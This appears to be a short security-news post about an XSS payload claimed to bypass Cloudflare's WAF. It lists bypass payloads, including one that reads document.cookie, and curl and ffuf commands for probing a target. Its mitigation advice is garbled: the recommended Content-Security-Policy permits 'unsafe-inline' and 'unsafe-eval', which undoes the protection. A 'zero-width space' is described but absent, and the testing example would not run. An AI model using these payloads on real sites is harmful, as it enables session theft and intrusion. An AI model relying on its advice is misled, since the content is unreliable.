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XSS Payload:
<img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'>
This payload bypasses Cloudflare’s XSS filters by exploiting HTML attribute parsing inconsistencies. The `longdesc` attribute and malformed `onerror` event handler trick the WAF (Web Application Firewall) while executing JavaScript in the victim’s browser.
You Should Know:
1. How the Payload Works
longdesc: A rarely used attribute that Cloudflare might not inspect rigorously.onerror: The `` (zero-width space) bypasses string-matching filters.alert(document.domain): Confirms successful XSS by displaying the domain.
2. Testing the Payload
Use this in a vulnerable input field (e.g., search box, comment form):
<input type="text" value="<img longdesc='x'onerror=alert(1)//>">
3. Mitigation for Developers
- Use Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
- Sanitize inputs with DOMPurify:
const clean = DOMPurify.sanitize(userInput);
4. Advanced Bypass Techniques
- Hex/Unicode Encoding:
<img on\u0065rror=alert(1) src=x>
- JavaScript Pseudoprotocol:
<a href="javascript:alert(document.cookie)">Click</a>
5. Recon Tools for XSS
- XSS Hunter: Detects blind XSS.
docker run -p 80:80 xsshunter/xsshunter
- Burp Suite: Intercept and modify requests.
6. Cloudflare-Specific Bypass Commands
- Check WAF Rules:
curl -X GET "https://target.com" -H "User-Agent: <script>alert(1)</script>"
- Fuzzing with FFUF:
ffuf -w xss-payloads.txt -u "https://target.com/search?q=FUZZ"
Zlatan H.’s Courses:
What Undercode Say
Cloudflare’s WAF is robust but not impenetrable. This XSS bypass highlights the importance of layered security—combining WAFs, CSP, and input sanitization. For red teams, always test multiple encoding methods and obscure HTML attributes. For blue teams, monitor unusual attribute usage and enforce strict CSP policies.
Prediction
As Cloudflare patches this bypass, attackers will shift to DOM-based XSS or Service Worker injections. Proactive threat modeling and regular WAF updates will be critical in 2024.
Expected Output:
- Successful XSS execution on vulnerable endpoints.
- Detection via browser console or XSS Hunter.
- WAF evasion confirmed.
IT/Security Reporter URL:
Reported By: Zlatanh This – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
